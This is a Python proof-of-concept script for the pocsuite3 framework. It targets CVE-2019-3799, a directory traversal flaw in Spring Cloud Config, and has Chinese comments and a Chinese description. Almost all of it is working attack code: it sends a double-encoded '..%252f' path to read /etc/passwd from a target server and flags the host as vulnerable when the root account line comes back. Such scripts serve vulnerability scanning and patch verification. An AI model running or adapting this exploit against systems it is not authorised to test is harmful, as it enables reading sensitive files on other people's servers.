#!/usr/bin/python
# -*- coding: utf-8 -*-
# from pocsuite.api.request import req #用法和 requests 完全相同
# from pocsuite.api.poc import register
# from pocsuite.api.poc import Output, POCBase
import requests as req
from pocsuite3.api import POCBase, Output, register_poc as register

headers = {'user-agent': 'ceshi/0.0.1', 'content-type': 'text/xml', }
poc_str = '''/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd'''


def poc(url):
    if not url.startswith("http"):
        url = "http://" + url
    if "/" in url:
        url += poc_str
    try:
        res = req.get(url, verify=False, timeout=5, headers=headers)
        response = res.text
    except Exception:
        response = ""
    return response


class TestPOC(POCBase):
    name = 'SpringColudConfig_CVE-2019-3799'
    vulID = 'CVE-2019-3799'  # https://www.seebug.org/vuldb/ssvid-97912
    author = ['debug']
    vulType = '目录遍历'  # 任意文件读取
    version = '1.0'  # default version: 1.0
    references = ['https://www.freebuf.com/vuls/201400.html']
    desc = '''
		   Spring Cloud Config，2.1.2之前的2.1.x版本，2.0.4之前的版本2.0.x以及1.4.6之前的版本1.4.x以及较旧的不受支持的版本允许应用程序通过spring提供任意配置文件 - cloud-config-server模块。
           恶意用户或攻击者可以使用可能导致目录遍历攻击的特制URL发送请求。
		   '''
    vulDate = '2020-02-4'
    createDate = '2020-02-4'
    updateDate = '2020-02-4'
    appName = 'Spring Cloud Config'
    appVersion = '2.1.x,2.0.x,1.4.x'
    appPowerLink = ''
    samples = ['']

    def _attack(self):
        '''attack mode'''
        return self._verify()

    def _verify(self):
        '''verify mode'''
        result = {}
        response = poc(self.url)
        if 'root:x:0:0:root:/root:/bin/bash' in response:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url + 'SpringColudConfig_CVE-2019-3799' + ' is exist!'
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)
